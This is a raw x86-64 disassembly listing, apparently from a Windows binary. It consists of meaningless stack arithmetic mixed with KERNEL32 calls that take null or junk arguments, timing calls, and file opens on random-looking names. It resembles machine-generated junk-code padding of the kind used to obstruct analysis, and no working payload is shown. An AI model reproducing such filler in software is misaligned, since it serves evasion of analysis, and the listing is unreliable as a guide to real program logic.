mov rcx, qword [rsp + 0x89f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0xc2a0]
mov eax, dword [rax]
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xc020]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ba8]
mov qword [rsp + 0xc5b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc5b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9bd8], rax
lea rcx, [rsp + 0xadf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x6a2
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48f8], eax
movzx eax, word [rsp + 0xb58]
mov word [0x14022bea0], ax
movzx eax, word [rsp + 0x1dac]
mov rcx, qword [rsp + 0xa2e0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbeb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0x9be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3ba8], eax
movzx eax, byte [rsp + 0x2bb]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0xab90]
mov rax, qword [rax]
mov qword [rsp + 0xc5c0], rax
mov rax, qword [rsp + 0xa110]
mov rcx, qword [rsp + 0xaf88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8d58], rax
movsx eax, byte [rsp + 0x35a]
movsx ecx, byte [rsp + 0x375]
add eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [0x14022b9f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4100], eax
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xadd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xae58]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2044], ax
mov rax, qword [rsp + 0xbd10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9da0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022a110], ax
mov r9d, 0x2565
xor r8d, r8d
lea rdx, [rsp + 0xbbb0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4bd8], eax
lea rdx, [rsp + 0x4af0]
mov rcx, qword [rsp + 0xb9b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48fc], eax
mov rax, qword [0x140229fa0]
mov qword [rsp + 0xc5c8], rax
mov rax, qword [rsp + 0xb170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
and eax, ecx
mov rcx, qword [rsp + 0xbb68]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xaa84
mov rcx, qword [rsp + 0xab88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4bdc], eax
mov rax, qword [rsp + 0xb8f0]
movzx eax, word [rax]
mov word [rsp + 0x2074], ax
mov rax, qword [rsp + 0xc178]
mov rcx, qword [0x140229fb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbd60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7e48]
mov rcx, qword [rsp + 0xbaa8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9988]
mov qword [rcx], rax
lea rax, [rsp + 0x3af]
mov qword [rsp + 0xc5d0], rax
lea rcx, [rsp + 0xa850]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov eax, dword [rsp + 0x4a3c]
mov ecx, dword [0x14022ba3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4838], eax
mov rax, qword [rsp + 0xc028]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f44]
or eax, ecx
mov word [rsp + 0x950], ax
mov rax, qword [0x14022b9c0]
movzx ecx, al
mov rax, qword [rsp + 0xc178]
shl rax, cl
mov qword [0x14022a030], rax
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9fe8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xabf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbae8]
mov rcx, qword [rsp + 0xac78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc310]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1ec4]
mov word [rsp + 0x2078], ax
mov rax, qword [rsp + 0xb5e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ed0]
add eax, ecx
mov rcx, qword [rsp + 0xbb40]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb88]
movsx eax, byte [rax]
mov rcx, qword [0x14022bc50]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x335], al
mov eax, dword [rsp + 0x4ad4]
mov ecx, dword [rsp + 0x47e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4484], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xffcb
mov rcx, qword [rsp + 0xa320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0xb808]
mov rcx, qword [rsp + 0xa940]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9730], rax
lea rcx, [rsp + 0xc5d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0x19f8]
mov word [rsp + 0x207c], ax
mov rax, qword [rsp + 0xbb68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov word [0x140229f40], ax
mov rax, qword [rsp + 0xbbc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc98], rax
mov rax, qword [0x14022b868]
mov rax, qword [rax]
mov qword [rsp + 0xc5e0], rax
mov rax, qword [rsp + 0xb1f0]
mov rcx, qword [rsp + 0x7e70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8db8], rax
mov rax, qword [rsp + 0x9f90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fac]
shl eax, cl
mov word [rsp + 0x1684], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x39b4
mov rcx, qword [rsp + 0xb778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4960], eax
mov rax, qword [rsp + 0xc320]
mov rax, qword [rax]
mov rcx, qword [0x14022a018]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb488], rax
lea rcx, [rsp + 0xadf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa838]
mov rcx, qword [rsp + 0xbe68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4994], eax
mov rax, qword [rsp + 0xaa68]
movzx eax, byte [rax]
mov byte [rsp + 0x3c7], al
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [rsp + 0x396]
sar eax, cl
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0xaac0]
mov rcx, qword [rsp + 0xa258]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3994], eax
mov rax, qword [rsp + 0xb5d0]
movzx eax, word [rax]
mov word [0x14022bea4], ax
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xa0c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2038], ax
mov rax, qword [rsp + 0xb518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb9a8]
mov word [rcx], ax
mov rax, qword [0x14022b840]
mov rax, qword [rax]
mov qword [rsp + 0xc5e8], rax
mov rax, qword [rsp + 0xb988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc518]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1bb], al
lea rax, [rsp + 0x9380]
mov qword [rsp + 0xc5f0], rax
mov eax, dword [rsp + 0x4b50]
mov ecx, dword [rsp + 0x4b74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x49f4], eax
movsx eax, word [rsp + 0x1d30]
mov rcx, qword [rsp + 0xacd0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe24], ax
movzx eax, word [rsp + 0x1e1c]
movzx ecx, word [0x14022bc08]
add eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0xc088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f68]
sub rcx, rax
mov rax, rcx
mov qword [0x140229fe0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb6c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1308]
shl eax, cl
mov word [rsp + 0x1f7c], ax
mov rax, qword [0x14022bb80]
mov rax, qword [rax]
mov qword [rsp + 0xc5f8], rax
mov rax, qword [rsp + 0xb2d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab10]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb058]
mov ecx, dword [rsp + 0x3fb8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3fd4], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x98c5
mov rcx, qword [rsp + 0xa248]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a18], eax
mov rax, qword [0x14022bc00]
mov rax, qword [rax]
mov qword [rsp + 0xc600], rax
mov eax, dword [rsp + 0x4950]
mov ecx, dword [rsp + 0x39bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a34], eax
movzx eax, byte [rsp + 0x35f]
movzx ecx, byte [rsp + 0x250]
sar eax, cl
mov byte [rsp + 0xaf], al
movsx eax, byte [rsp + 0x1b8]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov rcx, qword [rsp + 0xb1c8]
mov byte [rcx], al
lea rax, [rsp + 0x1400]
mov qword [0x14022bea8], rax
movzx eax, word [rsp + 0xb78]
mov word [rsp + 0x2080], ax
mov rax, qword [rsp + 0xabd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f5c]
and eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1fc0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov r9d, 1
xor r8d, r8d
mov edx, 0x61d
mov rcx, qword [rsp + 0xb428]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4be0], eax
lea rax, [rsp + 0x437c]
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xb138]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x110]
add eax, ecx
mov rcx, qword [rsp + 0xc3e0]
mov byte [rcx], al
lea rax, [rsp + 0xa5f8]
mov qword [rsp + 0xc610], rax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 1
xor r8d, r8d
mov edx, 0x4f62
mov rcx, qword [rsp + 0xb118]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x490c], eax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9d20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1380]
sub eax, ecx
mov rcx, qword [rsp + 0xc2b0]
mov word [rcx], ax
mov rax, qword [0x14022be20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1994]
and eax, ecx
mov word [rsp + 0x1ef8], ax
mov rax, qword [rsp + 0x8330]
movzx ecx, al
mov rax, qword [rsp + 0xbcf0]
sar rax, cl
mov rcx, qword [0x14022bb80]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.Hi24_agcULarvb_nAQR0kpth0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc618], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7336
mov rcx, qword [rsp + 0xb9c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48c8], eax
mov rax, qword [rsp + 0x7d80]
mov rcx, qword [rsp + 0xc350]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x90b8], rax
mov rax, qword [rsp + 0xb4b0]
mov rcx, qword [rsp + 0xa038]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9e38], rax
lea rax, [rsp + 0xa3f0]
mov qword [rsp + 0xc620], rax
movzx eax, word [rsp + 0x1f58]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0xbda8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36d]
add eax, ecx
mov rcx, qword [rsp + 0xb838]
mov byte [rcx], al
lea rcx, [rsp + 0xa670]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x3b2c]
mov dword [rsp + 0x4be4], eax
mov rax, qword [0x14022b9f0]
mov ecx, dword [rsp + 0x3fb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4774], eax
movzx eax, byte [rsp + 0x36e]
mov byte [rsp + 0x3c8], al
lea rdx, [rsp + 0x4af8]
mov rcx, qword [rsp + 0xb248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4be8], eax
lea rax, [rsp + 0x7770]
mov qword [0x14022beb0], rax
mov rax, qword [rsp + 0xb8d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14bc]
and eax, ecx
mov word [rsp + 0x1f74], ax
mov rax, qword [rsp + 0xc0d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb8a0]
mov word [rcx], ax
mov r9d, 0x25f
xor r8d, r8d
lea rdx, [rsp + 0xbc90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4adc], eax
movzx eax, word [rsp + 0x884]
movzx ecx, word [rsp + 0x1024]
add eax, ecx
mov word [rsp + 0xe38], ax
mov rax, qword [0x14022be38]
mov rcx, qword [rsp + 0x9ca0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7b18], rax
movzx eax, byte [rsp + 0x389]
mov byte [rsp + 0x3c9], al
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [rsp + 0x7158]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x72a0], rax
lea rax, [0x140229f80]
mov qword [rsp + 0xc628], rax
lea rcx, [rsp + 0xc280]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x206c]
movsx ecx, word [rsp + 0x1ffc]
and eax, ecx
mov word [rsp + 0x2044], ax
lea rax, [rsp + 0x1f50]
mov qword [0x14022beb8], rax
mov rax, qword [rsp + 0xb7b8]
mov rcx, qword [rsp + 0xa068]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7288], rax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15f4]
sar eax, cl
mov word [rsp + 0xb10], ax
mov rax, qword [rsp + 0x9fc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4b18]
shl eax, cl
mov dword [rsp + 0x3db8], eax
movzx eax, byte [rsp + 0x1eb]
mov byte [rsp + 0x3ca], al
mov rax, qword [rsp + 0xc430]
mov ecx, dword [rsp + 0x4bc4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb8d8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x372]
mov rcx, qword [0x14022ba80]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x110], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.juXXk0MB7r6YZ36Xz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc630], rax
mov r9d, 0x965
xor r8d, r8d
lea rdx, [rsp + 0x9860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48e8], eax
lea rax, [rsp + 0xc488]
mov qword [rsp + 0xc638], rax
movsx eax, word [rsp + 0x1d98]
movsx ecx, word [rsp + 0xb78]
add eax, ecx
mov word [rsp + 0x205c], ax
movzx eax, word [rsp + 0x1f70]
movzx ecx, word [rsp + 0x1f58]
sub eax, ecx
mov rcx, qword [0x14022b908]
mov word [rcx], ax
lea rax, [rsp + 0xbc40]
mov qword [rsp + 0xc640], rax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8640]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cf0], rax
mov rax, qword [0x14022bcb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e6c]
sar eax, cl
mov word [rsp + 0x1e90], ax
mov rax, qword [rsp + 0xbe98]
movzx eax, word [rax]
mov word [rsp + 0x2084], ax
mov rax, qword [rsp + 0xb1b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x388]
and eax, ecx
mov byte [rsp + 0x359], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.RdRsvm6Teq0Oy71uB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc648], rax
lea rax, [rsp + 0x4934]
mov qword [rsp + 0xc650], rax
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0x9b08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xada8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb938]
mov rcx, qword [rsp + 0x8238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f70], rax
mov rax, qword [rsp + 0xaf98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ce8]
and eax, ecx
mov word [0x14022bcd8], ax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ca8], ax
mov eax, dword [rsp + 0x3d70]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c4], eax
lea rax, [rsp + 0x3b4]
mov qword [rsp + 0xc658], rax
lea rdx, [rsp + 0x4980]
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4bcc], eax
mov rax, qword [rsp + 0xc100]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc4b0]
shl rax, cl
mov rcx, qword [rsp + 0xc578]
mov qword [rcx], rax
lea rax, [0x140229f30]
mov qword [rsp + 0xc660], rax
mov rax, qword [rsp + 0xa798]
mov rcx, qword [rsp + 0xb958]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x86b0], rax
mov rax, qword [rsp + 0xbca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x38e], al
lea rax, [0x14022bbbc]
mov qword [rsp + 0xc668], rax
movzx eax, word [rsp + 0x1ea4]
mov word [0x14022bec0], ax
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e70]
mov qword [rsp + 0xc670], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc670]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8ca8], rax
lea rax, [rsp + 0x1fe4]
mov qword [rsp + 0xc678], rax
movsx eax, word [rsp + 0x1394]
movsx ecx, word [rsp + 0x1f90]
sub eax, ecx
mov rcx, qword [rsp + 0xb278]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4d0]
mov rcx, qword [rsp + 0x9d58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbcd0], rax
mov rax, qword [rsp + 0xb180]
movzx eax, byte [rax]
mov byte [rsp + 0x3cb], al
mov eax, dword [rsp + 0x4b88]
mov ecx, dword [rsp + 0x491c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b50], eax
lea rax, [rsp + 0x9150]
mov qword [rsp + 0xc680], rax
movzx eax, word [rsp + 0x1d00]
mov rcx, qword [rsp + 0xc560]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb5a8]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x68ed
mov rcx, qword [rsp + 0xb000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4bec], eax
mov rax, qword [rsp + 0x9ba0]
mov rcx, qword [rsp + 0x6f70]
and rcx, rax
mov rax, rcx
mov qword [0x14022a118], rax
mov rax, qword [rsp + 0xbf90]
mov ecx, dword [rsp + 0x4aec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41c8], eax
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc180]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fb], al
movsx eax, word [rsp + 0xce0]
movsx ecx, word [rsp + 0x1ec0]
or eax, ecx
mov word [rsp + 0xa70], ax
movzx eax, word [rsp + 0x1e80]
mov word [rsp + 0x2088], ax
movsx eax, byte [0x14022b814]
mov rcx, qword [rsp + 0xaa18]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0x3acc]
mov qword [rsp + 0xc688], rax
lea rcx, [rsp + 0xadf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xada8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7458]
shl rax, cl
mov rcx, qword [rsp + 0xa898]
mov qword [rcx], rax
movsx eax, word [0x140229f38]
mov rcx, qword [rsp + 0xa980]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc218]
mov word [rcx], ax
movzx eax, word [rsp + 0x1d70]
movzx ecx, word [rsp + 0x1cb4]
sub eax, ecx
mov rcx, qword [0x14022b9d8]
mov word [rcx], ax
mov rax, qword [0x14022b8e8]
mov rcx, qword [rsp + 0xc2e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x74b8], rax
mov rax, qword [rsp + 0xbbd8]
mov rcx, qword [rsp + 0xa770]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7ed8], rax
mov rax, qword [rsp + 0xba10]
mov rax, qword [rax]
mov qword [rsp + 0xc690], rax
mov rax, qword [rsp + 0xa1f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d04]
and eax, ecx
mov word [rsp + 0x1cec], ax
movsx eax, byte [rsp + 0x3c4]
mov rcx, qword [rsp + 0xab98]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3cb], al
mov rax, qword [rsp + 0xbf10]
mov eax, dword [rax]
mov dword [rsp + 0x4bf0], eax
mov rax, qword [rsp + 0xbcf8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9b08]
shr rax, cl
mov qword [rsp + 0x9ec0], rax
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d6]
add eax, ecx
mov byte [rsp + 0x302], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xb5d3
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b38], eax
mov rax, qword [rsp + 0xa258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb420]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140229f50], ax
mov rax, qword [rsp + 0xb588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa148]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbe00]
mov word [rcx], ax
movzx eax, word [rsp + 0x1cc0]
mov word [rsp + 0x208c], ax
mov rax, qword [rsp + 0x8518]
movzx ecx, al
mov rax, qword [rsp + 0xa040]
shl rax, cl
mov qword [rsp + 0xae40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.GA7lIwzSNKMcRL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc698], rax
lea rax, [rsp + 0x4778]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0x9d70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bb]
or eax, ecx
mov byte [rsp + 0x1ba], al
lea rax, [rsp + 0x6f88]
mov qword [rsp + 0xc6a8], rax
movsx eax, word [rsp + 0x1e6c]
mov rcx, qword [rsp + 0xb4a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f18], ax
movzx eax, word [0x14022bc30]
mov rcx, qword [rsp + 0xc560]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba50]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xab18]
mov rax, qword [rax]
mov qword [0x14022bec8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x788a
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b98], eax
movzx eax, word [rsp + 0x1024]
mov rcx, qword [rsp + 0xa458]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x179c], ax
mov rax, qword [0x14022b880]
mov rcx, qword [rsp + 0x7350]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xad68]
mov qword [rcx], rax
lea rax, [rsp + 0xbe60]
mov qword [rsp + 0xc6b0], rax
mov rax, qword [rsp + 0xb150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x358], al
lea rdx, [rsp + 0x45e8]
mov rcx, qword [rsp + 0xbf20]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4bf4], eax
mov rax, qword [0x14022bbe0]
mov ecx, dword [rsp + 0x41b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4860], eax
mov rax, qword [rsp + 0x9b38]
mov eax, dword [rax]
mov dword [rsp + 0x4bf8], eax
mov rax, qword [rsp + 0xc3a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xabf8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa1b8]
mov byte [rcx], al
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov qword [rsp + 0xc6b8], rax
movsx eax, word [rsp + 0x1de8]
movsx ecx, word [rsp + 0x1da4]
sar eax, cl
mov word [0x14022a120], ax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9f8], ax
movzx eax, word [rsp + 0x12dc]
movzx ecx, word [rsp + 0x1d94]
add eax, ecx
mov word [rsp + 0x1e54], ax
lea rax, [rsp + 0x1754]
mov qword [rsp + 0xc6c0], rax
mov rax, qword [rsp + 0xa768]
mov rcx, qword [rsp + 0xb6b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8220], rax
lea rax, [rsp + 0x133]
mov qword [rsp + 0xc6c8], rax
